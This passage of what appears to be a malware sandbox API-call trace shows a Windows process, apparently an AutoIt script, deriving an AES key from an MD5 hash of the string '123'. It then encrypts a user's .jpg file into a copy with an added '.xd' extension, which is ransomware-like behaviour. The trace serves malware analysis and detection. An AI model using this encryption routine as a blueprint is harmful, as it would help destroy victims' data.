wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.601] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0061.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621498, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0061.601] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0061.601] CryptCreateHash (in: hProv=0x17aa4d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0061.601] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.601] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.601] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.601] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0061.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629470, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0061.602] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0061.602] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0061.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294a0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0061.602] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.602] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.602] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.602] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0061.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16218d0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0061.603] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0061.603] CryptHashData (hHash=0x164c830, pbData=0x16293e0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0061.603] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.603] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.603] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.603] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.603] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.603] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.603] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.603] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0061.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621648, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0061.604] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0061.604] CryptDeriveKey (in: hProv=0x17aa4d8, Algid=0x6610, hBaseData=0x164c830, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c6f0) returned 1 [0061.604] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.604] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.604] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.606] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.606] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.606] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.606] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0061.606] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0061.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0061.607] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0061.607] CryptDestroyHash (hHash=0x164c830) returned 1 [0061.607] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.607] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.607] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.607] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.607] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.607] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\bp5khlyytl7wp\\fjawttn6a7xyzfxjvq6u\\nqdiet1uplqkao.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0061.607] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.607] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0061.608] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.608] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.608] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.608] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\bp5khlyytl7wp\\fjawttn6a7xyzfxjvq6u")) returned 0x10 [0061.608] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\nQDiET1upLqKAO.jpg.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\bp5khlyytl7wp\\fjawttn6a7xyzfxjvq6u\\nqdiet1uplqkao.jpg.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0061.609] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.609] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.609] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.609] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.611] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0061.611] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x4594, lpOverlapped=0x0) returned 1 [0061.612] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0061.615] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.615] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.615] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.615] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0061.616] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.616] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.616] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0061.616] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.616] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0061.616] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.616] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.648] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.648] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0061.648] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0061.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0061.648] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0061.649] CryptGetKeyParam (in: hKey=0x164c6f0, dwParam=0x7, pbData=0x1629500, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629500*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0061.649] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.649] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.649] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.649] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.649] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.649] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.649] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.649] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.649] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.649] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.649] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.649] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.649] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.649] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.649] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.649] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.649] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.649] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.649] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.649] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.649] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.650] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.650] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.650] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.650] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0061.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621708, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0061.650] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0061.650] CryptEncrypt (in: hKey=0x164c6f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x4594, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x45a0) returned 1 [0061.650] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.650] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.650] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.650] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.650] CharLowerBuffW (in: lpsz="byte[17825]", cchLength=0xb | out: lpsz="byte[17825]") returned 0xb [0061.650] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.651] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.651] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.651] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.651] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0061.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16219a8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0061.651] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0061.651] CryptEncrypt (in: hKey=0x164c6f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x18815b0*, pdwDataLen=0x130e618*=0x4594, dwBufLen=0x45a0 | out: pbData=0x18815b0*, pdwDataLen=0x130e618*=0x45a0) returned 1 [0061.651] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.652] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.652] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.652] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.652] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.652] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.652] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.652] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.652] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.652] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.652] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.652] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.652] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.652] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.652] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.652] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.652] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 